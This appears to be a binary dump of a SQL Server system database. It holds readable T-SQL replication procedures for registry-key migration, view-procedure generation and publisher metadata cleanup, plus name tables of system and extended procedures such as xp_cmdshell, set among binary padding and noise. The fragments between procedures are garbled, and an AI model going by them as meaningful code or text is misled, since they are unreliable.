!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)`s<a
%0@ 8--
-- Name: sp_vupgrade_registry_custom_resolver_katmai
--
-- Descriptions:  this is called by sp_vupgrade_registry, to move custom resolver keys 
--                     to the MSmerge_articleresolver table on the distributor
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_vupgrade_registry_custom_resolver_katmai
(
    @oldregkey  nvarchar(1000)
)
as
    set nocount on
    declare @distributor                        sysname
    declare @distribution_db                sysname
    declare @resolver_name                    nvarchar(1000)
    declare @resolver_clsid                    nvarchar(1000)
    declare @insertproc                                     nvarchar(547)
    declare @retcode                        int
    declare @keyexist                         int

    EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, @distribdb = @distribution_db OUTPUT
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (20036, 16, -1)
        RETURN (1)
    END

    -- if the server is not a distributor we do not need to do anything
    if @distributor IS NULL
        return 0

    create table #keyexist (keyexist int)

    -- Move the registered article resolvers to MSmerge_articleresolver on distribution db
    insert into #keyexist EXECUTE master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', @oldregkey
    select @keyexist = keyexist from #keyexist
    if @keyexist = 1
    begin
        create table #article_resolvers (resolver_name nvarchar(1000) collate database_default, resolver_clsid nvarchar(1000))
        insert into #article_resolvers EXECUTE master.dbo.xp_regenumvalues 'HKEY_LOCAL_MACHINE', @oldregkey
        declare #resolvercursor CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT resolver_name, resolver_clsid
                    FROM #article_resolvers
                FOR READ ONLY

        open #resolvercursor
        fetch next from #resolvercursor into @resolver_name, @resolver_clsid
        while (@@fetch_status <> -1)
        begin
            select @insertproc = QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_registercustomresolver'

            exec @retcode = @insertproc
                    @article_resolver = @resolver_name,
                    @resolver_clsid = @resolver_clsid

            if @retcode <> 0 OR @@ERROR <> 0
            begin
                set @retcode = 1
                goto FAILURE
            end
            fetch next from #resolvercursor into @resolver_name, @resolver_clsid
        end

        -- done moving reg keys/values.  delete old key 
        exec @retcode = master.dbo.xp_regdeletekey 'HKEY_LOCAL_MACHINE', @oldregkey
        if @@error <> 0 OR @retcode <> 0
        begin
            set @retcode = 1
        end

        close #resolvercursor
        deallocate #resolvercursor
        drop table #article_resolvers 

        return 0
       
    end

FAILURE:
    drop table #keyexist
    return @retcode
        
0 8create procedure sys.sp_MSmakeviewproc (
    @viewname sysname, 
    @ownername sysname, 
    @procname sysname, 
    @rgcol sysname,
    @pubid uniqueidentifier,
    @artid uniqueidentifier
)
as
begin
    declare @retcode            smallint
    declare @command            nvarchar(4000)
    declare @db_name            sysname
	declare @quoted_procname	nvarchar(258)
    set nocount on

    select @retcode = 0
    select @db_name = db_name()

    if @@error <> 0 or @retcode <> 0 
    begin 
        select @retcode = 1 
        goto Failure 
    end 

    -- drop if there is a proc already by the same name
    if object_id(@procname) is not NULL
    begin
		select @command = 'drop procedure ' + quotename(@procname)
        exec (@command)
        if @@error<>0
            goto Failure
    end

    select @command = N'exec ' + quotename(@db_name) + '.sys.sp_MSscriptviewproc
        @viewname = ' + fn_replmakestringliteral(@viewname) collate database_default + ',
        @ownername = ' + fn_replmakestringliteral(@ownername) collate database_default + ',
        @procname = ' + fn_replmakestringliteral(@procname) collate database_default + ',
        @rgcol = ' + fn_replmakestringliteral(@rgcol) collate database_default + ',
        @pubid = ''' + convert(nvarchar(40), @pubid) + ''',
        @artid = ''' + convert(nvarchar(40), @artid) + ''''
    if @@error <> 0 or @retcode <> 0 
    begin 
        select @retcode = 1 
        goto Failure 
    end 

    exec @retcode = sys.sp_execresultset_nvarcharmaxrows @command

    if @@error <> 0 or @retcode <> 0 
    begin 
        select @retcode = 1 
        goto Failure 
    end 

    select @quoted_procname=QUOTENAME(@procname)
    exec @retcode = sys.sp_MS_marksystemobject @quoted_procname
    if @@error <> 0 or @retcode <> 0 
    begin 
        select @retcode = 1 
        goto Failure 
    end 
    
    exec ('grant exec on ' + @quoted_procname + ' to public')
    if @@error <> 0 or @retcode <> 0 
    begin 
        select @retcode = 1 
        goto Failure 
    end 

Failure:
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`5
X"&
*-{ԡ&n6Y4sp_MSunmarkreplinfo&9<sp_MSunmarkschemaobject&Dsp_MSunregistersubscription&Hsp_MSupdate_agenttype_default&j{Dsp_MSupdate_mqserver_distdb& hBsp_MSupdate_mqserver_subdb&UDsp_MSupdate_subscriber_info&@.OLsp_MSupdate_subscriber_schedule&EXsp_MSupdate_subscriber_tracer_history&.>sp_MSupdate_subscription&{Bsp_MSupdate_tracer_history&FK>sp_MSupdatecachedpeerlsn&4J<sp_MSupdatelastsyncinfo&#hn2sp_MSupdatepeerlsn&Nsp_MSupdatesharedagentproperties&_Xsp_MSupgrade_distdb_security_metadata&psp_MSupgrade_heterogeneous_subscriber_connectinfo&Fsp_MSupgrade_merge_history90&l|Vsp_MSupgrade_subdb_security_metadata&A@sp_MSUpgradeConflictTable&^c4Hsp_MSvalidate_agent_parameter&ADsp_MSvalidate_distpublisher&ABsp_MSvalidate_subscription&޻Lsp_MSvalidatepeertopeerarticles&JRsp_MSvalidatepeertopeerpublication&4sp_MSverboselogging&T 8sp_MSverifytranfilter&#Bsp_MSwritemergeperfcounter&Jsp_new_parallel_nested_tran_id&72sp_objectfilegroup&AO0sp_oledb_database&)b*sp_oledb_defdb&.sp_oledb_deflang&;*0sp_oledb_language&MI4sp_oledb_ro_usrname&xe&sp_oledbinfo&'.sp_ORAaddarticle&k2sp_ORAaddpublisher&h:sp_ORAChangeTableSpace&Bsp_ORACheckAdminPrivileges&SBsp_ORACheckLoopbackSupport&6sp_ORAcheckpublisher&P:sp_ORACheckSourceTable&S8sp_ORAcompiletriggers&0sp_ORAdroparticle&54sp_ORAdroppublisher&Dsp_ORAenumarticlecolumninfo&$N@sp_ORAenumpublishertables&\1@sp_ORAenumtablecolumninfo&24sp_ORAgetcolumndata&~0sp_ORAgetprovider&0<sp_ORAGetTablespaceInfo&o.sp_ORAgetversion&n0sp_ORAhelparticle&/i:sp_ORAhelpXactBatching&S6sp_ORAhelpXactSetJob&.sp_ORAloadscript&Nsp_ORAmarksubscriptionvalidation&آ8sp_ORAposttracertoken&£0sp_ORAremotequery&S*sp_ORArowcount&2sp_ORASchemaFilter&M/8sp_ORASetXactBatching&K4sp_ORAvalidatecache&VԴ<sp_ORAValidateRowFilter&\sp_MSupdate_singlelogicalrecordmetadata&bBZsp_MSvalidate_wellpartitioned_articles&}%8sp_MSuplineageversion&z0sp_MSupdaterecgen&<sp_MSupdatereplicastate&Ԋ8sp_MSupdategenhistory&ԫ<sp_MSupdateschemachange&Hsp_MSuploadsupportabilitydata&uDsp_MSupdatesysmergearticles&uU6sp_MSvalidatearticle&<sp_MSupsertschemachange&~:sp_MSvalidatecommongen&@sp_MSvalidate_dest_recgen&Lsp_MSupdategenerations_afterbcp&`sp_MSupdateinitiallightweightsubscription&tJsp_MSuselightweightreplication&$sp_OACreate&G&sp_OADestroy&yA0sp_OAGetErrorInfo&&.sp_OAGetProperty&Ex$sp_OAMethod&L.sp_OASetProperty& sp_OAStop!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d,h

|
L

~>V

l
*
			j	6		~L
Z4T.0t0dRDff.Jr&\`3
"
E"4
B1Wt&Hsp_MShelp_subscription_status&4FOHsp_MShelpconflictpublications&2sp_MShelpdestowner&hr^sp_MShelpdynamicsnapshotjobatdistributor&.O>sp_MShelplogreader_agent&:sp_MShelpmergearticles&n
Vsp_MShelpmergearticles_nonpartgroups&Fsp_MShelpmergeconflictcounts&?/Rsp_MShelpmergeconflictpublications&Nsp_MShelpmergedynamicsnapshotjob&g:sp_MShelpmergeidentity&T[Tsp_MShelpmergepub_withoutrownumbers&BNsp_MShelpmergepub_withrownumbers&eUFsp_MShelpmergeschemaarticles&@HFsp_MShelpmergeselectarticles&eDsp_MShelpobjectpublications&0Fsp_MShelpreplicationtriggers&(n<sp_MShelpsnapshot_agent&XWDsp_MShelpsummarypublication&E+6Dsp_MShelptracertokenhistory&8sp_MShelptracertokens&h-Dsp_MShelptranconflictcounts&}wPsp_MShelptranconflictpublications&eȲ<sp_MShelpvalidationdate&0>sp_MSIfExistsRemoteLogin&߯@sp_MSIfExistsSubscription&*-`sp_MSincrementpublicationminautonosynclsn&D6sp_MSindexcolfrombin&bCFsp_MSinit_publication_access&Hsp_MSinit_replication_perfmon&6QFsp_MSinit_subscription_agent&!Bsp_MSinitdynamicsubscriber&/P6sp_MSinsert_identity&yڱFsp_MSinsertbeforeimageclause&@sp_MSinsertdeleteconflict&>8sp_MSinsertgenhistory&#<sp_MSinsertschemachange&S.sp_MSinstance_qv&>sp_MSinvalidate_snapshot&<sp_MSis_identity_insert&hsp_MSis_joinfilter_based_on_PK_UQ_constraints&QF*sp_MSis_pk_col&4sp_MSisallreplcolpk&4&sp_MSiscolpk&Tsp_MSisdistributionjobnamegenerated&c,:sp_MSisdynamicfunction&Nsp_MSislogreaderjobnamegenerated&NFsp_MSismergejobnamegenerated&mzJsp_MSisnonpkukupdateinconflict&}:sp_MSispeertopeeragent&@sp_MSispkupdateinconflict&\>sp_MSispublicationqueued&Ƌ\sp_MSispulldistributionjobnamegenerated&Nsp_MSispullmergejobnamegenerated&(2Rsp_MSisqueuereaderjobnamegenerated&%h8sp_MSisreplmergeagent&#oDsp_MSissnapshotagentrunning&yBsp_MSissnapshotitemapplied&cHBsp_MShelpcreatebeforetable&@sp_MShelpalterbeforetable&<sp_MSinserterrorlineage&;Rsp_MSinsertgenerationschemachanges&URsp_MSinsertlightweightschemachange&R.sp_MShelpcolumns&*sp_MShelpindex&(sp_MShelptype&,sp_MSindexspace&ߞ:sp_MShelpfulltextindex&u<sp_MShelpfulltextscript|8`

L

n4\

z
L

	|@	R		Lp0xf"b&Vn4NN" `d
cL"
Vk-yw&,Dsp_generate_agent_parameter&G2sp_generatefilters&;$2sp_get_distributor&ݜhsp_get_job_status_mergepullsubscription_agent&hsp_get_job_status_mergepushsubscription_agent&`sp_get_job_status_mergesubscription_agent&#Zsp_get_mergepublishedarticleproperties&Nsp_get_Oracle_publisher_metadata&8sp_get_query_template&2LDsp_get_redirected_publisher&ۥ>sp_getagentparameterlist&c(sp_getapplock&lF,sp_getbindtoken&^Fsp_getdefaultdatatypemapping&H8sp_getmergedeletetype&ULBsp_getOraclepackageversion&%rX6sp_getProcessorUsage&.n4sp_getpublisherlink&=aFLsp_getqueuedarticlesynctraninfo&.sp_getqueuedrows&w8.sp_getschemalock&T8sp_getsqlqueueversion&Tsp_getsubscription_status_hsnapshot&82Nsp_getsubscriptiondtspackagename&k2sp_gettopologyinfo&K8sp_getVolumeFreeSpace&Y)Dsp_grant_publication_access&-'.sp_grantdbaccess&:(sp_grantlogin&~Fsp_hadr_create_linked_server&oBsp_hadr_drop_linked_server&s@@sp_hadr_get_current_error&*h4@sp_hadr_get_target_server&GUbsp_hadr_validate_replica_host_as_publisher&zfsp_hadr_validate_replica_hosts_as_publishers& Rsp_hadr_verify_configured_for_repl&{\sp_hadr_verify_publisher_at_distributor&EZVsp_hadr_verify_replication_publisher&\sp_hadr_verify_subscribers_at_publisher&fCsp_help&8sp_help_agent_default&lf<sp_help_agent_parameter&_8sp_help_agent_profile&>sp_help_datatype_mapping&4Tsp_help_fulltext_catalog_components&Af@sp_help_fulltext_catalogs&gNsp_help_fulltext_catalogs_cursor&$>sp_help_fulltext_columns&W&Lsp_help_fulltext_columns_cursor&Rsp_help_fulltext_system_components&<sp_help_fulltext_tables&Jsp_help_fulltext_tables_cursor& Jsp_help_log_shipping_alert_job&Fsp_help_log_shipping_monitor&$Vsp_help_log_shipping_monitor_primary&Zsp_help_log_shipping_monitor_secondary&Xsp_help_log_shipping_primary_database&DZsp_help_log_shipping_primary_secondary&H\sp_help_log_shipping_secondary_database&MZsp_help_log_shipping_secondary_primary&Hsp_help_peerconflictdetection&Bsp_help_publication_access&w!Tsp_help_spatial_geography_histogram&ZgLsp_help_spatial_geography_index&9Zsp_help_spatial_geography_index_helper&\Tsp_help_spatial_geography_index_xml&Rsp_help_spatial_geometry_histogram&7
Jsp_help_spatial_geometry_index&Xsp_help_spatial_geometry_index_helper&ǏSRsp_help_spatial_geometry_index_xml&
Jsp_help_spatial_index_internal&͚Tsp_help_spatial_index_internal_auto&|Hsp_helpallowmerge_publication&!*sp_helparticle&]8sp_helparticlecolumns&0sp_helparticledts!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&|(4DJf
Xb

@
h(^"

r

	n		f&vHLdl4\8p`Y
["
.9&88xml_schema_attributes&1:xml_schema_collections&5Lxml_schema_component_placements&=8xml_schema_components&:4xml_schema_elements&;0xml_schema_facets&9<xml_schema_model_groups&>8xml_schema_namespaces&<.xml_schema_types&6Jxml_schema_wildcard_namespaces&76xml_schema_wildcards&I0xp_availablemedia&R$xp_cmdshell&z^:xp_controlqueueservice&8xp_createprivatequeue&~0xp_decodequeuecmd&38xp_deleteprivatequeue&Kd"xp_dirtree&6xp_displayqueuemesgs&"xp_dsninfo&%3"xp_enumdsn&	o.xp_enumerrorlogs&:(xp_enumgroups&>y.xp_execresultset&4&xp_fileexist&v4xp_firstonly_bitmap&*xp_fixeddrives&1(xp_get_script&nd(xp_getnetname&T6(xp_grantlogin&Hxp_instance_regaddmultistring&C>xp_instance_regdeletekey&nBxp_instance_regdeletevalue&%{<xp_instance_regenumkeys&a@xp_instance_regenumvalues&4xp_instance_regread&+@Nxp_instance_regremovemultistring&46xp_instance_regwrite&f$xp_logevent&*xp_loginconfig&d&xp_logininfo&"xp_makecab&h+0xp_mapdown_bitmap&(.xp_mergelineages&,xp_mergexpusage&vxp_msver&(xp_msx_enlist&(&xp_oledbinfo&$xp_ORbitmap&&xp_peekqueue&T6xp_qv&>,xp_readerrorlog&P2xp_readpkfromqueue&4xp_readpkfromvarbin&E6xp_regaddmultistring&xP,xp_regdeletekey&0xp_regdeletevalue&g*xp_regenumkeys&͌.xp_regenumvalues&"xp_regread&<xp_regremovemultistring&>s1$xp_regwrite&<xp_repl_convert_encrypt&L^xp_repl_convert_encrypt_sysadmin_wrapper&,xp_repl_encrypt&6xp_repl_help_connect&*xp_replposteor&'(xp_resetqueue&@*xp_revokelogin&nR!0xp_servicecontrol&z"xp_sprintf&8xp_sqlagent_enum_jobs&5̃<xp_sqlagent_is_starting&4xp_sqlagent_monitor&-2xp_sqlagent_notify&P0xp_sqlagent_param&"F@ xp_sscanf&P"xp_subdirs&5D&xp_unpackcab&Շ$xp_userlock&쮗0xp_varbintohexstr&>u$xp_sqlmaint&r4xp_get_tape_devices&&<xp_enum_oledb_providers&o:xp_prop_oledb_provider&PD4xp_sysmail_activate&H<xp_sysmail_format_query&kBxp_sysmail_attachment_load&J.xp_passAgentInfo&$J.xp_create_subdir&'j*xp_delete_file!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!nJ$lL


\
4

J^4

n
<

	2			`	B		pF"j*n&P*b,
zjL0\.V`1
dH".%&@sp_deletemergeconflictrow&v|Dsp_deletepeerrequesthistory&'Dsp_deletetracertokenhistory&(&sp_denylogin&pQ"sp_depends&M_2sp_describe_cursor&.$Bsp_describe_cursor_columns&L@sp_describe_cursor_tables&2Fsp_describe_first_result_set&]NPsp_describe_undeclared_parameters&p&sp_detach_db&!9:sp_disableagentoffload&y2sp_distagentstatus&'G,sp_distcounters&iJ<sp_drop_agent_parameter&w8sp_drop_agent_profile&*,8sp_dropanonymousagent&1Fsp_dropanonymoussubscription&iF*sp_dropapprole&*sp_droparticle&K$I,sp_dropdatatype&ˢ:sp_dropdatatypemapping&%H(sp_dropdevice&I6sp_dropdistpublisher&'8sp_dropdistributiondb&4
2sp_dropdistributor&ygBsp_dropdynamicsnapshot_job&4sp_dropextendedproc&`1<sp_dropextendedproperty&8sp_droplinkedsrvlogin&?&sp_droplogin&>Jsp_dropmergealternatepublisher&[a4sp_dropmergearticle&kР2sp_dropmergefilter&_2<sp_dropmergelogsettings&R8sp_dropmergepartition&Ic<sp_dropmergepublication&<Fsp_dropmergepullsubscription&İ>sp_dropmergesubscription&M*sp_dropmessage&*sp_droporphans&?2sp_droppublication&.sp_droppublisher&g<sp_droppullsubscription&P52sp_dropremotelogin&<<sp_dropreplsymmetrickey&6e$sp_droprole&0sp_droprolemember&T(sp_dropserver&96sp_dropsrvrolemember&0sp_dropsubscriber&Ǒ4sp_dropsubscription&XZ$sp_droptype&`$sp_dropuser&Tg"sp_dsninfo&SVsp_enable_heterogeneous_subscription&'4sp_enable_sql_debug&T8sp_enableagentoffload& 6:sp_enumcustomresolvers&l"sp_enumdsn&Nsp_enumeratependingschemachanges&N.sp_enumerrorlogs&镧:sp_enumfullsubscribers&lˣ<sp_enumoledbdatasources&
Vsp_estimate_data_compression_savings&׵hsp_estimated_rowsize_reduction_for_vardecimal&E.sp_execresultset&,Fsp_execresultset_nvarcharmax&hNsp_execresultset_nvarcharmaxrows&G"sp_execute&,0sp_execute_policy&1Ů<sp_enum_oledb_providers!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pN$

X
*
HxT 


b
>

		f	4	
	\ zFb.L$j$xLj$pN(`i7<
&g0b 
8
CREATE PROCEDURE sys.sp_IHflushmetadata
(
    @publisher          sysname,
    @source_owner       sysname,
    @source_table       sysname
)
AS
BEGIN
    DECLARE @retcode            int
    DECLARE @publisher_type     sysname
    DECLARE @publisher_id       int
    DECLARE @table_id           int

	--
    -- Get publisher info
    --
    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher      = @publisher,
                                                    @publisher_type = @publisher_type OUTPUT,
                                                    @publisher_id   = @publisher_id   OUTPUT

	--
    -- Reject unsupported publisher types
    --
    IF @publisher_type NOT IN (N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END

	--
	-- Get table id
	--
	SELECT	@table_id = table_id
	FROM	dbo.IHpublishertables
	WHERE	publisher_id = @publisher_id
	  AND	owner        = @source_owner
	  AND	name         = @source_table

	--
	-- Delete publisher information if the table is not used by any other articles
	--
	IF NOT EXISTS
	(
		SELECT	*
		FROM	IHarticles
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id
	)
	BEGIN

		-- Delete the constraints
		DELETE	IHpublishercolumnconstraints 
		FROM	IHpublishercolumnconstraints col2con
		JOIN	IHpublisherconstraints ihcons on col2con.publisherconstraint_id = ihcons.publisherconstraint_id
		WHERE	ihcons.publisher_id = @publisher_id
		  AND	ihcons.table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)
	
		DELETE	IHpublisherconstraints 
		FROM	IHpublisherconstraints ihcons
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)

		-- Delete the indexes
		DELETE	IHpublishercolumnindexes 
		FROM	IHpublishercolumnindexes col2idx
		JOIN	IHpublisherindexes idx on col2idx.publisherindex_id = idx.publisherindex_id
		WHERE	idx.publisher_id = @publisher_id
		  AND	idx.table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)
	
		DELETE	IHpublisherindexes 
		FROM	IHpublisherindexes ihidx
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)

		-- Delete the columns
		DELETE	IHpublishercolumns
		FROM	IHpublishercolumns 
		WHERE	publisher_id = @publisher_id
		  AND  	table_id     = @table_id

		IF @@ERROR <> 0
			RETURN (1)

		-- Delete the table
		DELETE	IHpublishertables
		FROM	IHpublishertables
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id

		IF @@ERROR <> 0
			RETURN (1)
	END

	RETURN (0)
END
0@@ e8create view sys.traces as select * from OpenRowset(TABLE SYSTRACES)
0@ D8Lh50 \8Ymh	>
8^
